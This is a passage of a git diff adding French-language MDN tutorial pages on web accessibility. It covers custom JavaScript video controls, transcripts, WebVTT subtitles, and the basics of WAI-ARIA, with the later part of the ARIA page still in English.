+    <button class="playpause">Play</button>
+    <button class="stop">Stop</button>
+    <button class="rwd">Rwd</button>
+    <button class="fwd">Fwd</button>
+    <div class="time">00:00</div>
+  </div>
+</section>
+ +

JavaScript basic setup

+ +

Nous avons inséré quelques boutons de commande simples sous notre vidéo. Bien sûr, ces contrôles ne feront rien par défaut; pour ajouter des fonctionnalités, nous allons utiliser JavaScript .

+ +

Nous devrons d’abord stocker les références à chacun des contrôles - ajoutez ce qui suit en haut de votre fichier JavaScript:

+ +
var playPauseBtn = document.querySelector('.playpause');
+var stopBtn = document.querySelector('.stop');
+var rwdBtn = document.querySelector('.rwd');
+var fwdBtn = document.querySelector('.fwd');
+var timeLabel = document.querySelector('.time');
+ +

Ensuite, nous devons saisir une référence au lecteur vidéo / audio lui-même - ajoutez cette ligne sous les lignes précédentes:

+ +
var player = document.querySelector('video');
+ +

Ceci contient une référence à un objet {{domxref ("HTMLMediaElement")}} qui possède plusieurs propriétés et méthodes utiles disponibles qui peuvent être utilisées pour connecter des fonctionnalités à nos boutons.

+ +

Avant de passer à la création de notre fonctionnalité de bouton, supprimons les contrôles natifs afin qu'ils ne gênent pas nos contrôles personnalisés. Ajoutez ce qui suit, encore une fois au bas de votre JavaScript:

+ +
player.removeAttribute('controls');
+ +

Le fait de procéder ainsi plutôt que de ne pas inclure les attributs de contrôle en premier lieu présente l'avantage que si notre JavaScript échoue pour une raison quelconque, l'utilisateur dispose toujours de certains contrôles.

+ +

Câbler nos boutons

+ +

Commençons par configurer le bouton lecture / pause. Nous pouvons le faire basculer entre lecture et pause avec une simple fonction conditionnelle, comme ci-dessous. Ajoutez-le à votre code, en bas:

+ +
playPauseBtn.onclick = function() {
+  if(player.paused) {
+    player.play();
+    playPauseBtn.textContent = 'Pause';
+  } else {
+    player.pause();
+    playPauseBtn.textContent = 'Play';
+  }
+};
+ +

Ensuite, ajoutez ce code en bas, qui contrôle le bouton d'arrêt:

+ +
stopBtn.onclick = function() {
+  player.pause();
+  player.currentTime = 0;
+  playPauseBtn.textContent = 'Play';
+};
+ +

Il n'y a pas de fonction  stop()  disponible sur {{domxref("HTMLMediaElement")}}s,  nous le mettons donc en pause()  et, dans le même temps, définissons la valeur currentTime sur 0.

+ +

Ensuite, nos boutons de rembobinage et d’avance rapide - ajoutez les blocs suivants au bas de votre  code:

+ +
rwdBtn.onclick = function() {
+  player.currentTime -= 3;
+};
+
+fwdBtn.onclick = function() {
+  player.currentTime += 3;
+  if(player.currentTime >= player.duration || player.paused) {
+    player.pause();
+    player.currentTime = 0;
+    playPauseBtn.textContent = 'Play';
+  }
+};
+ +

Celles-ci sont très simples, il suffit d’ajouter ou de soustraire 3 secondes à  currentTime chaque fois qu’on clique dessus. Dans un vrai lecteur vidéo, vous voudrez probablement une barre de recherche plus élaborée, ou similaire.

+ +

Notez que nous vérifions également si la durée  currentTime est supérieure à la durée totale du support ou si le support n'est pas en cours de lecture lorsque le bouton Fwd est enfoncé. Si l'une ou l'autre de ces conditions est vraie, nous arrêtons simplement la vidéo pour éviter que l'interface utilisateur ne se détériore si elle tente d'effectuer une avance rapide lorsque la vidéo n'est pas en cours de lecture ou si la fin de la vidéo est terminée. .

+ +

Enfin, ajoutez ce qui suit à la fin du code pour contrôler l’affichage du temps écoulé:

+ +
player.ontimeupdate = function() {
+  var minutes = Math.floor(player.currentTime / 60);
+  var seconds = Math.floor(player.currentTime - minutes * 60);
+  var minuteValue;
+  var secondValue;
+
+  if (minutes<10) {
+    minuteValue = "0" + minutes;
+  } else {
+    minuteValue = minutes;
+  }
+
+  if (seconds<10) {
+    secondValue = "0" + seconds;
+  } else {
+    secondValue = seconds;
+  }
+
+  mediaTime = minuteValue + ":" + secondValue;
+  timeLabel.textContent = mediaTime;
+};
+ +

Chaque fois que l'heure est mise à jour (une fois par seconde), nous activons cette fonction. Il calcule le nombre de minutes et de secondes à partir de la valeur actuelle donnée en secondes, ajoute un 0 au début si la valeur de minute ou de seconde est inférieure à 10, puis crée la lecture d'affichage et l'ajoute à l'étiquette de temps.

+ +

Lectures complémentaires

+ +

Cela vous donne une idée de base sur la manière d’ajouter des fonctionnalités de lecteur personnalisées aux instances de lecteur vidéo / audio. Pour plus d'informations sur l'ajout de fonctionnalités plus complexes aux lecteurs vidéo / audio, y compris les solutions de secours Flash pour les navigateurs plus anciens, voir aussi:

+ + + +

Nous avons également créé un exemple avancé pour montrer comment créer un système orienté objet permettant de rechercher tous les lecteurs vidéo et audio de la page (quel que soit leur nombre) et d'y ajouter nos contrôles personnalisés. Voir  custom-controls-oojs ( également voir le code source).

+ +

Transcriptions audio

+ +

Pour permettre aux sourds d'accéder au contenu audio, vous devez créer des transcriptions de texte. Ceux-ci peuvent être soit inclus sur la même page que l'audio d'une manière ou d'une autre, soit inclus sur une page séparée et liés à.

+ +

En termes de création de la transcription, vos options sont les suivantes:

+ +
    +
  • Services commerciaux - Vous pouvez payer un professionnel pour effectuer la transcription, voir par exemple des entreprises telles que  Scribie, Casting Words, ou Rev. Regardez autour de vous et demandez conseil pour vous assurer de trouver une entreprise fiable avec laquelle vous pourrez travailler efficacement.
    • +
  • Communauté / base / auto-transcription - Si vous faites partie d'une communauté ou d'une équipe active sur votre lieu de travail, vous pouvez leur demander de l'aide pour faire les traductions. Vous pouvez même essayer de les faire vous-même.
    • +
  • Services automatisés - Des services d'intelligence artificielle sont disponibles, tels que  Trint. Téléchargez un fichier vidéo / audio sur le site, qui le transcrivera automatiquement pour vous. Sur YouTube, vous pouvez choisir de générer des sous-titres / transcriptions automatisés. Selon la clarté de l'audio parlé, la qualité de la transcription résultante variera considérablement. . 
    • +
+ +

Comme dans la plupart des choses de la vie, vous avez tendance à avoir ce que vous payez. la précision et le temps requis pour produire la transcription varient selon les services. Si vous payez une transcription pour une entreprise digne de confiance ou un service d’AI, vous le ferez probablement rapidement et avec une qualité élevée. Si vous ne voulez pas payer pour cela, vous le ferez probablement avec une qualité inférieure et / ou lentement.

+ +

Il n’est pas acceptable de publier une ressource audio mais de promettre de publier la transcription ultérieurement. De telles promesses ne sont souvent pas tenues, ce qui érodera la confiance entre vous et vos utilisateurs. Si le son que vous présentez ressemble à une réunion en face-à-face ou à une performance parlée en direct, il serait acceptable de prendre des notes pendant la performance, de les publier intégralement avec l'audio, puis de demander de l'aide pour les nettoyer par la suite.

+ +

Exemples de transcription

+ +

Si vous utilisez un service automatisé, vous devrez probablement utiliser l'interface utilisateur fournie par l'outil. Par exemple, jetez un coup d’œil à  Audio Transcription Sample 1 et choisissez plus > Transcript.

+ +

Si vous créez votre propre interface utilisateur pour présenter votre audio et la transcription associée, vous pouvez le faire comme bon vous semble, mais il serait peut-être judicieux de l'inclure dans un panneau pouvant être affiché / masqué; voir notre exemple  transcription audio-ui exemple (voir aussi le code source).

+ +

Descriptions audio

+ +

Dans les cas où des éléments visuels accompagnent votre son, vous devez fournir une description de l’audio pour décrire ce contenu supplémentaire.

+ +

Dans de nombreux cas, il s'agira simplement d'une vidéo. Dans ce cas, vous pouvez implémenter des légendes à l'aide des techniques décrites dans la section suivante de l'article.

+ +

Cependant, il y a des cas extrêmes. Vous pouvez par exemple avoir un enregistrement audio d'une réunion qui fait référence à une ressource d'accompagnement telle qu'une feuille de calcul ou un graphique. Dans de tels cas, vous devez vous assurer que les ressources sont fournies avec la transcription audio +, et les lier spécifiquement aux endroits où elles sont mentionnées dans la transcription. Cela aidera évidemment tous les utilisateurs, pas seulement les sourds.

+ +
+

Note: Une transcription audio aidera en général plusieurs groupes d'utilisateurs. En plus de permettre aux utilisateurs sourds d'accéder aux informations contenues dans l'audio, pensez à un utilisateur disposant d'une connexion à faible bande passante et qui trouverait que le téléchargement de l'audio est gênant. Pensez également à un utilisateur dans un environnement bruyant, comme un pub ou un bar, qui tente d'accéder à l'information mais ne l'entend pas par dessus le bruit.

+
+ +

Pistes de texte vidéo

+ +

Pour rendre la vidéo accessible aux sourds, aux aveugles ou même à d'autres groupes d'utilisateurs (par exemple, ceux dont la bande passante est faible ou qui ne comprennent pas la langue dans laquelle la vidéo est enregistrée), vous devez inclure des pistes de texte avec votre contenu vidéo. .

+ +
+

Note: Les pistes de texte sont également utiles pour n'importe quel utilisateur, pas seulement pour les personnes handicapées. Par exemple, certains utilisateurs peuvent ne pas être en mesure d’entendre le son car ils se trouvent dans des environnements bruyants (comme un bar bondé lorsqu’un match de sport est diffusé) ou peuvent ne pas déranger les autres s’ils sont dans un endroit calme (comme une bibliothèque). .)

+
+ +

Ce n'est pas un nouveau concept - les sous-titres codés sont disponibles depuis assez longtemps dans les services de télévision:

+ +

Frame from an old-timey cartoon with closed captioning "Good work, Goldie. Keep it up!"

+ +

Alors que de nombreux pays proposent des films en anglais avec sous-titres écrits dans leur propre langue maternelle, des sous-titres en différentes langues sont souvent disponibles sur DVD, par exemple

+ +

An English film with German subtitles "Emo, warum erkennst du nicht die Schonheit dieses Ortes?"

+ +

Il existe différents types de pistes de texte avec des objectifs différents. Les principaux que vous rencontrerez sont:

+ +
    +
  • Sous-titres - pour le bénéfice des utilisateurs sourds qui ne peuvent pas entendre la piste audio, y compris les mots prononcés, et des informations contextuelles telles que le nom des personnes qui ont prononcé ces mots, si les personnes étaient en colère ou tristes et quelle ambiance la musique crée actuellement. .
    • +
  • Sous-titres - Inclut les traductions de la boîte de dialogue audio, pour les utilisateurs qui ne comprennent pas la langue parlée.
    • +
  • Descriptions - Celles-ci incluent des descriptions pour les personnes aveugles qui ne peuvent pas voir la vidéo, par exemple à quoi ressemble la scène.
    • +
  • Titres de chapitre - Marqueurs de chapitre destinés à aider l'utilisateur à naviguer dans la ressource multimédia.
    • +
+ +

Implémentation de pistes de texte vidéo HTML5

+ +

Les pistes de texte à afficher avec une vidéo HTML5 doivent être écrites au format WebVTT, un format de texte contenant plusieurs chaînes de texte ainsi que des métadonnées, telles que l'heure à laquelle vous souhaitez afficher chaque chaîne de texte et même des informations de style / positionnement limitées. Ces chaînes de texte sont appelées cues .

+ +

Un fichier WebVTT typique ressemblera à ceci:

+ +
WEBVTT
+
+1
+00:00:22.230 --> 00:00:24.606
+ Ceci est le premier sous-titre.
+
+2
+00:00:30.739 --> 00:00:34.074
+ C'est le deuxième .
+
+  ...
+ +

Pour que ceci soit affiché avec la lecture du média HTML, vous devez:

+ +
    +
  • Enregistrez-le en tant que fichier .vtt dans un endroit approprié.
    • +
  • Lien vers le fichier .vtt avec  l'élément {{htmlelement("track")}} . <track>  devrait être placé dans <audio> ou <video>,  mais après tout <source> éléments .  Utilisez l’attribut {{htmlattrxref ("kind", "track")}} pour indiquer si les signaux sont des sous-titres, des légendes ou des descriptions. De plus, utilisez {{htmlattrxref ("srclang", "track")}} pour indiquer au navigateur la langue dans laquelle vous avez écrit les sous-titres. .
    • +
+ +

Voici un exemple:

+ +
<video controls>
+    <source src="example.mp4" type="video/mp4">
+    <source src="example.webm" type="video/webm">
+    <track kind="subtitles" src="subtitles_en.vtt" srclang="en">
+</video>
+ +

Cela donnera une vidéo avec des sous-titres affichés, un peu comme ceci:

+ +

Video player with standard controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."

+ +

Pour plus de détails, veuillez lire  Ajouter des légendes et des sous titres à des vidéos HTML 5.  Vous trouverez un exemple  qui accompagne cet article sur Github, écrit par Ian Devlin (voir aussi le code source.) Cet exemple utilise du JavaScript. pour permettre aux utilisateurs de choisir entre différents sous-titres. Notez que pour activer les sous-titres, vous devez appuyer sur le bouton "CC" et sélectionner une option - Anglais, Allemand ou Español.

+ +
+

Note: Les pistes de texte et les transcriptions vous aident également avec {{glossary ("SEO")}}, car les moteurs de recherche se développent particulièrement bien avec le texte. Les pistes de texte permettent même aux moteurs de recherche de se lier directement à un endroit en cours de vidéo.

+
+ +

Autre contenu multimédia

+ +

Les sections ci-dessus ne couvrent pas tous les types de contenu multimédia que vous pourriez vouloir placer sur une page Web. Vous devrez peut-être également gérer des jeux, des animations, des diaporamas, des vidéos intégrées et du contenu créé à l'aide d'autres technologies disponibles, telles que:

+ + + +

Pour ce type de contenu, vous devez traiter les problèmes d’accessibilité au cas par cas. Dans certains cas, ce n'est pas si grave, par exemple:

+ +
    +
  • Si vous intégrez du contenu audio à l'aide d'une technologie de plug-in telle que Flash ou Silverlight, vous pouvez probablement simplement fournir une transcription audio de la même manière que celle décrite ci-dessus dans la section {{anch("Transcript examples")}} .
    • +
  • Si vous intégrez du contenu vidéo à l'aide d'une technologie de plug-in telle que Flash ou Silverlight, vous pouvez tirer parti des techniques de sous-titrage / sous-titrage disponibles pour ces technologies. Par exemple, voir  Flash captions, Using the Flash-Only Player API for Closed Captioning, ou Playing Subtitles with Videos in Silverlight.
    • +
+ +

Cependant, il est difficile de rendre les autres multimédias accessibles. Si, par exemple, vous avez affaire à un jeu immersif en 3D ou à une application de réalité virtuelle, il est vraiment difficile de fournir des alternatives textuelles pour une telle expérience, et vous pouvez soutenir que les utilisateurs non-voyants ne sont pas vraiment dans le groupe-cible de telles applications.

+ +

Vous pouvez toutefois vous assurer qu'une telle application présente un contraste de couleur suffisant et une présentation claire de sorte qu'elle soit perceptible par les personnes ayant une vision basse / daltonisme, et qu'elle soit également accessible au clavier. Rappelez-vous que l'accessibilité consiste à faire tout ce que vous pouvez, plutôt que de chercher à atteindre une accessibilité à 100% tout le temps, ce qui est souvent impossible.

+ +
+

Résumé

+
+ +

Ce chapitre présente un résumé des problèmes d’accessibilité des contenus multimédias, ainsi que des solutions pratiques.

+ +

{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}}

+ +

 

+ +

Dans ce module

+ + + +

 

diff --git a/files/fr/learn/accessibility/wai-aria_basics/index.html b/files/fr/learn/accessibility/wai-aria_basics/index.html new file mode 100644 index 0000000000..6a55cde5cb --- /dev/null +++ b/files/fr/learn/accessibility/wai-aria_basics/index.html @@ -0,0 +1,425 @@ +--- +title: Les bases de WAI-ARIA +slug: Apprendre/a11y/WAI-ARIA_basics +tags: + - ARIA + - Accessibilité + - Apprendre + - Article + - Débutant + - Guide + - HTML + - JavaScript + - WAI-ARIA + - sémantique +translation_of: Learn/Accessibility/WAI-ARIA_basics +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Accessibility/CSS_and_JavaScript","Learn/Accessibility/Multimedia", "Learn/Accessibility")}}
+ +

Après l'article précédent, il peut être difficile de créer des contrôles UI complexes impliquant du code HTML non sémantique et du contenu dynamique mis à jour par JavaScript. WAI-ARIA est une technologie qui peut aider à résoudre de tels problèmes en ajoutant une sémantique supplémentaire que les navigateurs et les technologies d'assistance peuvent reconnaître et utiliser pour informer les utilisateurs de ce qui se passe. Nous montrerons ici comment l'utiliser au niveau de base pour améliorer l'accessibilité.

+ + + + + + + + + + + + +
  Prerequis:Connaissances informatiques de base, une compréhension de base de HTML, CSS et JavaScript, une compréhension des articles précédents du cours.
Objectif :Se familiariser avec WAI-ARIA et savoir comment l'utiliser pour fournir une sémantique supplémentaire utile afin d'améliorer l'accessibilité, le cas échéant.
+ +

Qu'est WAI-ARIA?

+ +

Commençons par regarder ce que WAI-ARIA est , et ce qu’il peut faire pour nous.

+ +

Un nouvel ensemble de problèmes

+ +

Car les applications web ont commencé à devenir plus complexes et dynamiques, un nouvel ensemble de fonctionnalités d'accessibilité et de problèmes ont commencé à apparaître.

+ +

Par exemple, HTML5 a introduit un certain nombre d’éléments sémantiques pour définir des fonctionnalités de page communes  ({{htmlelement("nav")}}, {{htmlelement("footer")}}, etc.)  Avant de les utiliser, les développeurs utilisaient simplement {{htmlelement("div")}} s avec des identifiants ou des classes, par exemple <div class="nav"> , mais ils posaient problème, car il n’existait pas de moyen facile de trouver facilement une fonctionnalité de page spécifique telle que la navigation principale par programmation. .

+ +

La solution initiale consistait à ajouter un ou plusieurs liens cachés en haut de la page pour créer un lien vers la navigation (ou autre), par exemple:

+ +
<a href="#hidden" class="hidden">Passer à la navigation</a>
+ +

Mais ceci n’est pas encore très précis et ne peut être utilisé que lorsque le lecteur d’écran lit en haut de la page.

+ +

Autre exemple, les applications ont commencé à comporter des commandes complexes telles que des sélecteurs de date pour choisir les dates, des curseurs pour choisir des valeurs, etc. HTML5 fournit des types spéciaux  input pour rendre de tels contrôles:

+ +
<input type="date">
+<input type="range">
+ +

Celles-ci ne sont pas bien prises en charge sur tous les navigateurs et il est également très difficile de les nommer, ce qui les rend peu utiles pour l'intégration aux conceptions de sites Web. En conséquence, les développeurs font souvent appel à des bibliothèques JavaScript qui génèrent des contrôles tels qu'une série d'éléments {{htmlelement("div")}} s imbriqués ou d'éléments de table avec des noms de classe, qui sont ensuite stylés à l'aide de CSS et contrôlés à l'aide de JavaScript.

+ +

Le problème ici est que, visuellement, ils fonctionnent, mais que les lecteurs d’écran ne peuvent pas comprendre ce qu’ils sont, et on dit aux utilisateurs qu’ils peuvent voir une multitude d’éléments sans sémantique pour décrire ce qu’ils veulent dire.

+ +

Entrez WAI-ARIA

+ +

WAI-ARIA est une spécification écrite par le W3C et définissant un ensemble d'attributs HTML supplémentaires pouvant être appliqués aux éléments pour fournir une sémantique supplémentaire et améliorer l'accessibilité en cas de manque. Trois caractéristiques principales sont définies dans la spécification:

+ +
    +
  • Rôles - Ceux-ci définissent ce qu'un élément est ou fait. Bon nombre de ces rôles sont des rôles de référence, qui dupliquent en grande partie la valeur sémantique des éléments structurels HTML5, par exemple role = "navigation" ({{htmlelement("nav")}}) ou role="complementary" ({{htmlelement("aside")}}) , mais il en existe d'autres qui décrivent différentes structures de pages, telles que role="banner", role="search", role="tabgroup", role="tab", etc., que l'on trouve couramment dans les UIs.
    • +
  • Propriétés  — Ceux-ci définissent les propriétés des éléments, qui peuvent être utilisés pour leur donner une signification supplémentaire ou une sémantique. Par exemple, aria-required="true" spécifie qu'une entrée de formulaire doit être renseignée pour être valide, alors que aria-labelledby="label" vous permet de mettre un ID sur un élément, puis de le référencer en tant qu'étiquette pour tout autre élément de la page, y compris plusieurs éléments, ce qui n'est pas possible avec <label for="input">. À titre d'exemple, vous pouvez utiliser aria-labelledby  pour spécifier qu'une description de clé contenue dans un {{htmlelement("div")}}  est le label  de plusieurs cellules de tableau, ou vous pouvez l’utiliser comme alternative au texte alternatif d’image —  spécifiez les informations existantes sur la page en tant que texte alternatif d’image,  plutôt que de devoir les répéter à l'intérieur de l'attribut alt.  Vous pouvez voir un exemple de celà à Alternatives textuelles.
    • +
  • États  —  Propriétés spéciales qui définissent les conditions actuelles des éléments, telles que aria-disabled="true", qui spécifient à un lecteur d'écran que l'entrée de formulaire est actuellement désactivée. Les états diffèrent des propriétés en ce que les propriétés ne changent pas tout au long du cycle de vie d'une application, alors que les états peuvent changer, généralement par programmation via JavaScript.
    • +
+ +

Un point important sur les attributs WAI-ARIA est qu'ils n'affectent en rien la page Web, à l'exception des informations exposées par les API d'accessibilité du navigateur (où les lecteurs d'écran obtiennent leurs informations). WAI-ARIA n'affecte pas la structure de la page Web, le DOM, etc., bien que les attributs puissent être utiles pour sélectionner des éléments par CSS.

+ +
+

Note: Vous pouvez trouver une liste utile de tous les rôles ARIA et de leurs utilisations, avec des liens vers des informations supplémentaires, dans les spécifications WAI-ARIA — voir la définition des rôles.

+ +

La spécification contient également une liste de toutes les propriétés et de tous les états, avec des liens vers des informations complémentaires - voir  Définitions des états et des propriétés (tous les attributs aria- *).

+
+ +

Où WAI-ARIA est supporté?

+ +

Ce n’est pas une question simple. Il est difficile de trouver une ressource concluante qui explicite quelles fonctionnalités de WAI-ARIA sont supportées où, parce que:

+ +
    +
  1. Il y a beaucoup de fonctionnalités dans la spécification WAI-ARIA
    2. +
  2. Il y a beaucoup de combinaisons de systèmes d’exploitation, navigateurs et lecteurs d’écrans à considérer
    3. +
+ +

Ce dernier point est la clé: pour utiliser un lecteur d’écran, votre système d’exploitation a besoin d’un navigateur ayant les APIs d’accessibilité nécessaires, de manière à présenter l’information dont les lecteurs d’écran ont besoin pour faire leur travail. Les systèmes d’exploitation les plus populaires ont un à deux navigateurs avec les quels les lecteurs d’écrans peuvent travailler. Le Paciello Group a un article plutôt à jour fournissant des informations pour ceci — voir Rough Guide: browsers, operating systems and screen reader support updated.

+ +

Ensuite, vous devez vous demander si les navigateurs en question supportent les fonctionnalités ARIA et les présenter via leurs APIs, mais aussi du fait que les lecteurs d’écrans reconnaissent ou non cette information et la présentent à leurs utilisateurs d’une manière utile.

+ +
    +
  1. Browser support is generally quite good — at the time of writing, caniuse.com stated that global browser support for WAI-ARIA was around 88%.
    2. +
  2. Screenreader support for ARIA features isn't quite at this level, but the most popular screenreaders are getting there. You can get an idea of support levels by looking at Powermapper's WAI-ARIA Screen reader compatibility article.
    3. +
+ +

In this article, we won't attempt to cover every WAI-ARIA feature, and its exact support details. Instead, we will cover the most critical WAI-ARIA features for you to know about; if we don't mention any support details, you can assume that the feature is well-supported. We will clearly mention any exceptions to this.

+ +
+

Note: Some JavaScript libraries support WAI-ARIA, meaning that when they generate UI features like complex form controls, they add ARIA attributes to improve the accessibility of those features. If you are looking for a 3rd party JavaScript solution for rapid UI development, you should definitely consider the accessibility of its UI widgets as an important factor when making your choice. Good examples are jQuery UI (see About jQuery UI: Deep accessibility support), ExtJS, and Dojo/Dijit.

+
+ +

When should you use WAI-ARIA?

+ +

We talked about some of the problems that prompted WAI-ARIA to be created earlier on, but essentially, there are four main areas that WAI-ARIA is useful in:

+ +
    +
  1. Signposts/Landmarks: ARIA's role attribute values can act as landmarks that either replicate the semantics of HTML5 elements (e.g. {{htmlelement("nav")}}), or go beyond HTML5 semantics to provide signposts to different functional areas, e.g search, tabgroup, tab, listbox, etc.
    2. +
  2. Dynamic content updates: Screenreaders tend to have difficulty with reporting constantly changing content; with ARIA we can use aria-live to inform screenreader users when an area of content is updated, e.g. via XMLHttpRequest, or DOM APIs.
    3. +
  3. Enhancing keyboard accessibility: There are built-in HTML elements that have native keyboard accessibility; when other elements are used along with JavaScript to simulate similar interactions, keyboard accessibility and screenreader reporting suffers as a result. Where this is unavoidable, WAI-ARIA provides a means to allow other elements to receive focus (using tabindex).
    4. +
  4. Accessibility of non-semantic controls: When a series of nested <div>s along with CSS/JavaScript is used to create a complex UI-feature, or a native control is greatly enhanced/changed via JavaScript, accessibility can suffer — screenreader users will find it difficult to work out what the feature does if there are no semantics or other clues. In these situations, ARIA can help to provide what's missing with a combination of roles like button, listbox, or tabgroup, and properties like aria-required or aria-posinset to provide further clues as to functionality.
    5. +
+ +

One thing to remember though — you should only use WAI-ARIA when you need to! Ideally, you should always use native HTML features to provide the semantics required by screenreaders to tell their users what is going on. Sometimes this isn't possible, either because you have limited control over the code, or because you are creating something complex that doesn't have an easy HTML element to implement it. In such cases, WAI-ARIA can be a valuable accessibility enhancing tool.

+ +

But again, only use it when necessary!

+ +
+

Note: Also, try to make sure you test your site with a variety of real users — non-disabled people, people using screenreaders, people using keyboard navigation, etc. They will have better insights than you about how well it works.

+
+ +

Practical WAI-ARIA implementations

+ +

In the next section we'll look at the four areas in more detail, along with practical examples. Before you continue, you should get a screenreader testing setup put in place, so you can test some of the examples as you go through.

+ +

See our section on testing screenreaders for more information.

+ +

Signposts/Landmarks

+ +

WAI-ARIA adds the role attribute to browsers, which allows you to add extra semantic value to elements on your site wherever they are needed. The first major area in which this is useful is providing information for screenreaders so that their users can find common page elements. Let's look at an example — our website-no-roles example (see it live) has the following structure:

+ +
<header>
+  <h1>...</h1>
+  <nav>
+    <ul>...</ul>
+    <form>
+      <!-- search form  -->
+    </form>
+  </nav>
+</header>
+
+<main>
+  <article>...</article>
+  <aside>...</aside>
+</main>
+
+<footer>...</footer>
+ +

If you try testing the example with a screenreader in a modern browser, you'll already get some useful information. For example, VoiceOver gives you the following:

+ +
    +
  • On the <header> element — "banner, 2 items" (it contains a heading and the <nav>).
    • +
  • On the <nav> element — "navigation 2 items" (it contains a list and a form).
    • +
  • On the <main> element — "main 2 items" (it contains an article and an aside).
    • +
  • On the <aside> element — "complementary 2 items" (it contains a heading and a list).
    • +
  • On the search form input — "Search query, insertion at beginning of text".
    • +
  • On the <footer> element — "footer 1 item".
    • +
+ +

If you go to VoiceOver's landmarks menu (accessed using VoiceOver key + U and then using the cursor keys to cycle through the menu choices), you'll see that most of the elements are nicely listed so they can be accessed quickly.

+ +

+ +

However, we could do better here. the search form is a really important landmark that people will want to find, but it is not listed in the landmarks menu or treated like a notable landmark, beyond the actual input being called out as a search input (<input type="search">). In addition, some older browsers (most notably IE8) don't recognise the semantics of the HTML5 elements.

+ +

Let's improve it by the use of some ARIA features. first, we'll add some role attributes to our HTML structure. You can try taking a copy of our original files (see index.html and style.css), or navigating to our website-aria-roles example (see it live), which has a structure like this:

+ +
<header>
+  <h1>...</h1>
+  <nav role="navigation">
+    <ul>...</ul>
+    <form role="search">
+      <!-- search form  -->
+    </form>
+  </nav>
+</header>
+
+<main>
+  <article role="article">...</article>
+  <aside role="complementary">...</aside>
+</main>
+
+<footer>...</footer>
+ +

We've also given you a bonus feature in this example — the {{htmlelement("input")}} element has been given the attribute aria-label, which gives it a descriptive label to be read out by a screenreader, even though we haven't included a {{htmlelement("label")}} element. In cases like these, this is very useful — a search form like this one is a very common, easily recognised feature, and adding a visual label would spoil the page design.

+ +
<input type="search" name="q" placeholder="Search query" aria-label="Search through site content">
+ +

Now if we use VoiceOver to look at this example, we get some improvements:

+ +
    +
  • The search form is called out as a separate item, both when browsing through the page, and in the Landmarks menu.
    • +
  • The label text contained in the aria-label attribute is read out when the form input is highlighted.
    • +
+ +

Beyond this, the site is more likely to be accessible to users of older browsers such as IE8; it is worth including ARIA roles for that purpose. And if for some reason your site is built using just <div>s, you should definitely include the ARIA roles to provide these much needed semantics!

+ +

The improved semantics of the search form have shown what is made possible when ARIA goes beyond the semantics available in HTML5. You'll see a lot more about these semantics and the power of ARIA properties/attributes below, especially in the {{anch("Accessibility of non-semantic controls")}} section. For now though, let's look at how ARIA can help with dynamic content updates.

+ +

Dynamic content updates

+ +

Content loaded into the DOM can be easily accessed using a screenreader, from textual content to alternative text attached to images. Traditional static websites with largely text content are therefore easy to make accessible for people with visual impairments.

+ +

The problem is that modern web apps are often not just static text — they tend to have a lot of dynamically updating content, i.e. content that updates without the entire page reloading via a mechanism like XMLHttpRequest, Fetch, or DOM APIs. These are sometimes referred to as live regions.

+ +

Let's look at a quick example — see aria-no-live.html (also see it running live). In this example we have a simple random quote box:

+ +
<section>
+  <h1>Random quote</h1>
+  <blockquote>
+    <p></p>
+  </blockquote>
+</section>
+ +

Our JavaScript loads a JSON file via XMLHttpRequest containing a series of random quotes and their authors. Once that is done, we start up a setInterval() loop that loads a new random quote into the quote box every 10 seconds:

+ +
var intervalID = window.setInterval(showQuote, 10000);
+ +

This works OK, but it is not good for accessibility — the content update is not detected by screenreaders, so their users would not know what is going on. This is a fairly trivial example, but just imagine if you were creating a complex UI with lots of constantly updating content, like a chat room, or a strategy game UI, or a live updating shopping cart display — it would be impossible to use the app in any effective way without some kind of way of alerting the user to the updates.

+ +

WAI-ARIA fortunately provides a useful mechanism to provide these alerts — the aria-live property. Applying this to an element causes screenreaders to read out the content that is updated. How urgently the content is read out depends on the attribute value:

+ +
    +
  • off: The default. Updates should not be announced.
    • +
  • polite: Updates should be announced only if the user is idle.
    • +
  • assertive: Updates should be announced to the user as soon as possible.
    • +
+ +

We'd like you to take a copy of aria-no-live.html and quotes.json, and update your <section> tag as follows:

+ +
<section aria-live="assertive">
+ +

This will cause a screenreader to read out the content as it is updated.

+ +
+

Note: Most browsers will throw a security exception if you try to do an XMLHttpRequest call from a file:// URL, e.g. if you just load the file by loading it directly into the browser (via double clicking, etc.). To get it to run, you will need to upload it to a web server, for example using GitHub, or a local web server like Python's SimpleHTTPServer.

+
+ +

There is an additional consideration here — only the bit of text that updates is read out. It might be nice if we always read out the heading too, so the user can remember what is being read out. To do this, we can add the aria-atomic property to the section. Update your <section> tag again, like so:

+ +
<section aria-live="assertive" aria-atomic="true">
+ +

The aria-atomic="true" attribute tells screenreaders to read out the entire element contents as one atomic unit, not just the bits that were updated.

+ +
+

Note: You can see the finished example at aria-live.html (see it running live).

+
+ +
+

Note: The aria-relevant property is also quite useful for controlling what gets read out when a live region is updated. You can for example only get content additions or removals read out.

+
+ +

Enhancing keyboard accessibility

+ +

As discussed in a few other places in the module, one of the key strengths of HTML with respect to accessibility is the built-in keyboard accessibility of features such as buttons, form controls, and links. Generally, you are able to use the tab key to move between controls, the Enter/Return key to select or activate controls, and occasionally other controls as needed (for example the up and down cursor to move between options in a <select> box).

+ +

However, sometimes you will end up having to write code that either uses non-semantic elements as buttons (or other types of control), or uses focusable controls for not quite the right purpose. You might be trying to fix some bad code you've inherited, or you might be building some kind of complex widget that requires it.

+ +

In terms of making non-focusable code focusable, WAI-ARIA extends the tabindex attribute with some new values:

+ +
    +
  • tabindex="0" — as indicated above, this value allows elements that are not normally tabbable to become tabbable. This is the most useful value of tabindex.
    • +
  • tabindex="-1" — this allows not normally tabbable elements to receive focus programmatically, e.g. via JavaScript, or as the target of links. 
    • +
+ +

We discussed this in more detail and showed a typical implementation back in our HTML accessibility article — see Building keyboard accessibility back in.

+ +

Accessibility of non-semantic controls

+ +

This follows on from the previous section — when a series of nested <div>s along with CSS/JavaScript is used to create a complex UI-feature, or a native control is greatly enhanced/changed via JavaScript, not only can keyboard accessibility suffer, but screenreader users will find it difficult to work out what the feature does if there are no semantics or other clues. In such situations, ARIA can help to provide those missing semantics.

+ +

Form validation and error alerts

+ +

